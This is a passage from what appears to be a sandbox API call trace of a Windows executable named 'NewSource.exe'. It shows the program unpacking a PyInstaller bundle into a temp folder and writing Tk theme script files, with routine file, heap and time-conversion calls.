lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.997] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.997] CloseHandle (hObject=0x10c) returned 1 [0044.997] GetLastError () returned 0x0 [0044.997] SetLastError (dwErrCode=0x0) [0044.997] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.997] GetFileType (hFile=0x10c) returned 0x1 [0044.997] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.997] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.998] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.998] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.998] CloseHandle (hObject=0x10c) returned 1 [0044.998] GetLastError () returned 0x0 [0044.998] SetLastError (dwErrCode=0x0) [0044.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\vistaTheme.tcl") returned 67 [0044.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\vistaTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\vistatheme.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.998] GetLastError () returned 0x2 [0044.998] SetLastError (dwErrCode=0x2) [0044.998] GetLastError () returned 0x2 [0044.998] SetLastError (dwErrCode=0x2) [0044.998] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\vistaTheme.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\vistaTheme.tcl", lpFilePart=0x0) returned 0x42 [0044.998] GetLastError () returned 0x2 [0044.998] SetLastError (dwErrCode=0x2) [0044.998] GetLastError () returned 0x2 [0044.998] SetLastError (dwErrCode=0x2) [0044.998] GetLastError () returned 0x2 [0044.998] SetLastError (dwErrCode=0x2) [0044.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\vistaTheme.tcl") returned 67 [0044.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\vistaTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\vistatheme.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.998] GetFileType (hFile=0x10c) returned 0x1 [0044.999] htonl (hostlong=0x85240000) returned 0x2485 [0044.999] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0044.999] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0045.000] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x485, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x485, lpOverlapped=0x0) returned 1 [0045.000] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.000] CloseHandle (hObject=0x10c) returned 1 [0045.000] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0045.000] htonl (hostlong=0x30000000) returned 0x30 [0045.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0045.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0045.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0045.000] GetFileType (hFile=0x10c) returned 0x1 [0045.000] htonl (hostlong=0x13ab6000) returned 0x60ab13 [0045.000] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x655b13, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0045.000] htonl (hostlong=0xc030000) returned 0x30c [0045.000] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x30c) returned 0x550600 [0045.000] htonl (hostlong=0xc030000) returned 0x30c [0045.000] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0045.000] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0045.000] htonl (hostlong=0x530a0000) returned 0xa53 [0045.000] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa53) returned 0x55e278 [0045.000] htonl (hostlong=0xc030000) returned 0x30c [0045.001] htonl (hostlong=0x530a0000) returned 0xa53 [0045.001] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0045.001] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0045.001] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0045.001] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.001] CloseHandle (hObject=0x10c) returned 1 [0045.001] GetLastError () returned 0x0 [0045.001] SetLastError (dwErrCode=0x0) [0045.001] GetLastError () returned 0x0 [0045.001] SetLastError (dwErrCode=0x0) [0045.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0045.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0045.001] GetFileType (hFile=0x10c) returned 0x1 [0045.001] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0045.001] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0045.001] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0045.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0045.001] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.001] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.001] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0045.001] CloseHandle (hObject=0x10c) returned 1 [0045.001] GetLastError () returned 0x0 [0045.001] SetLastError (dwErrCode=0x0) [0045.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0045.002] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0045.002] GetFileType (hFile=0x10c) returned 0x1 [0045.002] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0045.002] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0045.002] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0045.002] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0045.002] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.002] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.002] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.002] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.002] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0045.002] CloseHandle (hObject=0x10c) returned 1 [0045.002] GetLastError () returned 0x0 [0045.002] SetLastError (dwErrCode=0x0) [0045.002] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\winTheme.tcl") returned 65 [0045.002] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\winTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\wintheme.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0045.002] GetLastError () returned 0x2 [0045.002] SetLastError (dwErrCode=0x2) [0045.002] GetLastError () returned 0x2 [0045.002] SetLastError (dwErrCode=0x2) [0045.002] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\winTheme.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\winTheme.tcl", lpFilePart=0x0) returned 0x40 [0045.002] GetLastError () returned 0x2 [0045.002] SetLastError (dwErrCode=0x2) [0045.002] GetLastError () returned 0x2 [0045.002] SetLastError (dwErrCode=0x2) [0045.002] GetLastError () returned 0x2 [0045.002] SetLastError (dwErrCode=0x2) [0045.002] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\winTheme.tcl") returned 65 [0045.003] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0045.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\winTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\wintheme.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0045.003] GetFileType (hFile=0x10c) returned 0x1 [0045.003] htonl (hostlong=0x530a0000) returned 0xa53 [0045.003] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0045.003] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xa53, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xa53, lpOverlapped=0x0) returned 1 [0045.004] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.004] CloseHandle (hObject=0x10c) returned 1 [0045.004] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0045.004] htonl (hostlong=0x30000000) returned 0x30 [0045.004] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0045.004] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0045.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0045.004] GetFileType (hFile=0x10c) returned 0x1 [0045.004] htonl (hostlong=0x1fae6000) returned 0x60ae1f [0045.004] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x655e1f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0045.004] htonl (hostlong=0x3a020000) returned 0x23a [0045.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x23a) returned 0x550600 [0045.004] htonl (hostlong=0x3a020000) returned 0x23a [0045.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0045.004] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0045.004] htonl (hostlong=0x80070000) returned 0x780 [0045.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x780) returned 0x55e278 [0045.004] htonl (hostlong=0x3a020000) returned 0x23a [0045.005] htonl (hostlong=0x80070000) returned 0x780 [0045.005] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0045.005] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0045.005] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0045.005] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.005] CloseHandle (hObject=0x10c) returned 1 [0045.005] GetLastError () returned 0x0 [0045.005] SetLastError (dwErrCode=0x0) [0045.005] GetLastError () returned 0x0 [0045.005] SetLastError (dwErrCode=0x0) [0045.005] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0045.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0045.005] GetFileType (hFile=0x10c) returned 0x1 [0045.005] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0045.005] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0045.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0045.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0045.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.005] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0045.005] CloseHandle (hObject=0x10c) returned 1 [0045.005] GetLastError () returned 0x0 [0045.005] SetLastError (dwErrCode=0x0) [0045.005] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0045.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0045.006] GetFileType (hFile=0x10c) returned 0x1 [0045.006] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0045.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0045.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0045.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0045.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0045.006] CloseHandle (hObject=0x10c) returned 1 [0045.006] GetLastError () returned 0x0 [0045.006] SetLastError (dwErrCode=0x0) [0045.006] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\xpTheme.tcl") returned 64 [0045.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\xpTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\xptheme.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0045.006] GetLastError () returned 0x2 [0045.006] SetLastError (dwErrCode=0x2) [0045.006] GetLastError () returned 0x2 [0045.006] SetLastError (dwErrCode=0x2) [0045.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\xpTheme.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\xpTheme.tcl", lpFilePart=0x0) returned 0x3f [0045.006] GetLastError () returned 0x2 [0045.006] SetLastError (dwErrCode=0x2) [0045.006] GetLastError () returned 0x2 [0045.006] SetLastError (dwErrCode=0x2) [0045.006] GetLastError () returned 0x2 [0045.006] SetLastError (dwErrCode=0x2) [0045.006] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\xpTheme.tcl") returned 64 [0045.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0045.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\xpTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\xptheme.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0045.007] GetFileType (hFile=0x10c) returned 0x1 [0045.007] htonl (hostlong=0x80070000) returned 0x780 [0045.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0045.007] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x780, lpOverlapped=0x0) returned 1 [0045.008] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.008] CloseHandle (hObject=0x10c) returned 1 [0045.008] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0045.008] htonl (hostlong=0x30000000) returned 0x30 [0045.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 